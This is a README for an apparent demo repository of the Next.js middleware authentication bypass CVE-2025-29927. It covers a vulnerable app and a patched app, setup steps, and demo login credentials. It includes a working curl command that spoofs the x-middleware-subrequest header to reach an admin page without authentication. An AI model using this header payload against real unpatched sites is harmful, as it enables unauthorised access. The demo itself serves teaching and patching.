Next.js Vulnerability Demo (CVE-2025-29927)

This repository contains a demonstration of the Next.js vulnerability CVE-2025-29927, which affects Next.js version 15.2.2 and earlier. The vulnerability allows attackers to bypass middleware authentication checks by setting an x-middleware-subrequest header.

Repository Structure

This is an NX monorepo containing two Next.js applications:

1. vulnerable-app: Uses Next.js 15.2.2 with the vulnerability
2. fixed-app: Uses Next.js 15.2.3 with the fix implemented

Vulnerability Explanation

In Next.js versions prior to 15.2.3, there's a security vulnerability in the middleware implementation. The middleware doesn't properly validate the origin of the x-middleware-subrequest header, allowing attackers to spoof this header and bypass middleware-based authentication checks.

How to Run the Demo

Prerequisites

• Node.js 18 or later
• npm or yarn
• Docker (optional, for containerized deployment)

Running the Vulnerable App

# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the vulnerable app
cd apps/vulnerable-app
npm install

# Start the vulnerable app
npm run dev

The vulnerable app will be available at http://localhost:3000.

Running the Fixed App

# Navigate to the repository
cd nextjs-vulnerability

# Install dependencies for the fixed app
cd apps/fixed-app
npm install

# Start the fixed app
npm run dev

The fixed app will be available at http://localhost:3001.

Using Docker

You can also run the apps using Docker:

# For the vulnerable app
cd apps/vulnerable-app
docker build -t nextjs-vulnerable .
docker run -p 3000:3000 nextjs-vulnerable

# For the fixed app
cd apps/fixed-app
docker build -t nextjs-fixed .
docker run -p 3001:3000 nextjs-fixed

Demonstrating the Vulnerability

1. Open the vulnerable app (http://localhost:3000)
2. Click on "Admin" in the navigation bar
3. You'll be redirected to the login page since you're not authenticated
4. Now try accessing the admin page directly with the vulnerability:

# Using curl
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin

# Or use a browser extension like ModHeader to add the header
# and then visit http://localhost:3000/admin

With the vulnerable version (15.2.2), you'll be able to access the admin page without authentication by adding the x-middleware-subrequest header.

With the fixed version (15.2.3), the middleware correctly validates the origin of this header, and you'll still be redirected to the login page.

Login Credentials

For demo purposes, you can log in with:

• Username: admin
• Password: password123

Security Recommendation

If you're using Next.js in production, make sure to update to version 15.2.3 or later to protect against this vulnerability.